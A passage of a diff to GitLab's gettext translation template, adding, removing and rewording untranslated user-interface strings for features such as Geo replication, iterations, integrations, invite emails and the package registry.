msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -14350,9 +14179,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -14383,9 +14209,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -14401,9 +14224,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -14443,24 +14263,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -14470,9 +14278,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14560,9 +14365,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14578,6 +14380,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14644,9 +14449,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14815,6 +14617,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14836,10 +14641,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -15043,159 +14845,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -15286,6 +14950,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -15385,9 +15052,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -15460,6 +15124,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -15469,6 +15139,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -15499,9 +15172,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -15523,6 +15193,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -16063,9 +15742,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -16111,6 +15787,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16132,9 +15817,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -16165,6 +15847,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -16234,13 +15919,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -16276,9 +15958,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16591,18 +16270,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16627,6 +16303,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16666,13 +16345,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16855,6 +16534,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16975,6 +16657,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -17062,9 +16747,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -17212,6 +16894,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -17398,9 +17083,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17908,13 +17590,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -18004,9 +17689,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -18160,6 +17842,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -18172,6 +17866,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -18211,6 +17908,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -18226,9 +17926,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -18241,12 +17938,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -18271,6 +17962,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -18313,9 +18007,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -18355,12 +18046,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -18385,9 +18088,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -18538,6 +18238,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18613,25 +18316,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18640,13 +18325,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18667,7 +18349,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18676,9 +18358,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18703,6 +18382,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -19114,18 +18796,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -19135,6 +18835,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -19147,6 +18850,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -19165,9 +18874,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19267,9 +18982,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19318,6 +19039,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -19408,9 +19132,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -19438,18 +19159,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -19561,9 +19270,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19723,9 +19429,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19960,9 +19663,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -20170,6 +19870,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -20419,6 +20122,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20653,6 +20359,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20671,9 +20386,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20893,9 +20605,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20965,6 +20674,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20986,6 +20698,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20998,6 +20713,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -21058,9 +20776,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21841,9 +21556,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21988,9 +21700,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -22249,9 +21958,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -22429,9 +22135,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -22480,7 +22183,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -22537,13 +22240,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22744,9 +22447,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22765,7 +22465,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -23074,9 +22774,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -23263,9 +22960,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -23416,9 +23110,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -24058,10 +23749,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -24139,6 +23830,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -24169,6 +23863,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -24193,9 +23893,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -24247,6 +23944,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -24256,15 +23956,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
